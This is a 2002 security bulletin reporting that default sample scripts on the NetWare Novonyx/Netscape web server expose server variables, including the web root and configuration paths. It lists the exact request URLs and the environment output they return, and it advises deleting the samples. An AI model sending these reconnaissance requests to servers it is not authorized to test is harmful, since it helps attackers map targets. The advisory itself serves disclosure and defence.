Source:
bugtraq@securityfocus.com
Procheckup Ltd
http://www.procheckup.com
Procheckup Security Bulletin PR02-1
Description: Netware default programs displays server
variables including web root location
Date: 8/1/2002
Application: Netware enterprise web server
Platform: Novell NetWare 5.0
Severity: Remote attackers can discover the location of the webroot.
Authors: Richard Brain [richard.brain@procheckup.com]
Vendor Status:
CVE Candidate: Not assigned
Reference:
http://www.procheckup.com/security_info/vuln.html
Description:
NetWare 5.1 installed with default settings, installs with
the Novonyx webserver. This webserver resides on port 80
and comes with sample files which disclose information
1) Requesting the following url :-
http://webserver/lcgi/sewse.nlm?
sys:/novonyx/suitespot/docs/sewse/misc/allfield.jse
The following information is returned:-
Here are the ScriptEase:WSE input values
_argv[-1] = "SEWSE"
_argv[0]
= "SYS:/NOVONYX/SUITESPOT/DOCS/SEWSE/MISC/ALLFIELD.JSE"
Current directory is
NETWARE/SYS:/Novonyx/suitespot/docs/sewse/misc
Here are the cgi.getVar() values
Here are the Clib.getenv() values
HTTP_ACCEPT=image/gif, image/x-xbitmap, image/jpeg,
image/pjpeg, */*
HTTP_REFERER=http://192.168.1.109/sewse/arcade.htm
HTTP_ACCEPT_LANGUAGE=en-gb
HTTP_ACCEPT_ENCODING=gzip, deflate
HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 6.0; Windows
NT 5.0; EncExt; T312461; Q312461)
HTTP_HOST=192.168.1.109
HTTP_CONNECTION=Keep-Alive
HTTP_COOKIE=N2S19P61=963269677
ADMSERV_ROOT=/Novonyx/suitespot/admin-serv/config
NETSITE_ROOT=/novonyx/suitespot
SERVER_NAMES=lcgi
ADMSERV_PWD=User: NS-value-is-null Password: NS-value-is-
null Authorization: NS-value-is-null UserDN: NS-value-is-
null
SERVER_SOFTWARE=Netscape 3.5 for NetWare
SERVER_PORT=80
SERVER_NAME=NETWARE.PROCHECKUP.COM
SERVER_URL=http://192.168.1.109
REMOTE_HOST=192.168.1.250
REMOTE_ADDR=192.168.1.250
HTTPS=OFF
GATEWAY_INTERFACE=LCGI/1.1
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=GET
SCRIPT_NAME=/lcgi/sewse.nlm
QUERY_STRING=sys:/novonyx/suitespot/docs/sewse/misc/allfield
.jse
NS_SESSION=-751448704
NS_REQUEST=-695399320
FN=lcgi_map_init
PERL_ROOT=SYS:novonyx/suitespot/docs/perlroot
CONFIG_DIR=/NOVONYX/SUITESPOT/https-NETWARE/config/
==========================================================
2) ALSO
Requesting the following url :-
http://192.168.1.109/lcgi/sewse.nlm?
sys:/novonyx/suitespot/docs/sewse/misc/test.jse
The following information is returned:-
SERVER_SOFTWARE=Netscape 3.5 for NetWare
SERVER_PORT=80
SERVER_NAME=NETWARE.PROCHECKUP.COM
SERVER_URL=http://192.168.1.109
REMOTE_HOST=192.168.1.250
REMOTE_ADDR=192.168.1.250
HTTPS=OFF
GATEWAY_INTERFACE=LCGI/1.1
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=GET
SCRIPT_NAME=/lcgi/sewse.nlm
QUERY_STRING=sys:/novonyx/suitespot/docs/sewse/misc/test.jse
NS_SESSION=-798892160
NS_REQUEST=-800372600
FN=lcgi_map_init
PERL_ROOT=SYS:novonyx/suitespot/docs/perlroot
CONFIG_DIR=/NOVONYX/SUITESPOT/https-NETWARE/config/
http://192.168.1.109
3) ALSO
Requests the following url :-
http://webserver/perl/samples/env.pl
The following information is returned:-
HSERVER_SOFTWARE Netscape 3.5 for NetWare
GATEWAY_INTERFACE LCGI/1.1
NS_SESSION -707141760
REMOTE_ADDR 192.168.1.250
SERVER_PROTOCOL HTTP/1.1
NS_REQUEST -695399320
PATH_INFO_TRANSLATED /novonyx/suitespot/docs/samples/env.pl
REQUEST_METHOD GET
REMOTE_HOST 192.168.1.250
SERVER_URL
http://192.168.1.109
SERVER_NAMES perl
HTTP_USER_AGENT Mozilla/4.0 (compatible; MSIE 6.0; Windows
NT 5.0; EncExt; T312461; Q312461)
HTTP_ACCEPT image/gif, image/x-xbitmap, image/jpeg,
image/pjpeg, */*
HTTP_CONNECTION Keep-Alive
HTTP_ACCEPT_LANGUAGE en-gb
HTTPS OFF
CONFIG_DIR /NOVONYX/SUITESPOT/https-NETWARE/config/
FN lcgi_map_init
SCRIPT_NAME /perl
HTTP_ACCEPT_ENCODING gzip, deflate
ADMSERV_ROOT /Novonyx/suitespot/admin-serv/config
PERL_ROOT SYS:novonyx/suitespot/docs/perlroot
SERVER_NAME NETWARE.PROCHECKUP.COM
PATH_INFO /samples/env.pl
HTTP_COOKIE N2S19P61=963269677
SERVER_PORT 80
ADMSERV_PWD User: NS-value-is-null Password: NS-value-is-
null Authorization: NS-value-is-null UserDN: NS-value-is-
null
HTTP_HOST 192.168.1.109
PATH_TRANSLATED
SYS:novonyx/suitespot/docs/perlroot/samples/env.pl
NETSITE_ROOT /novonyx/suitespot
Solution:
Delete all default example programs if not needed.
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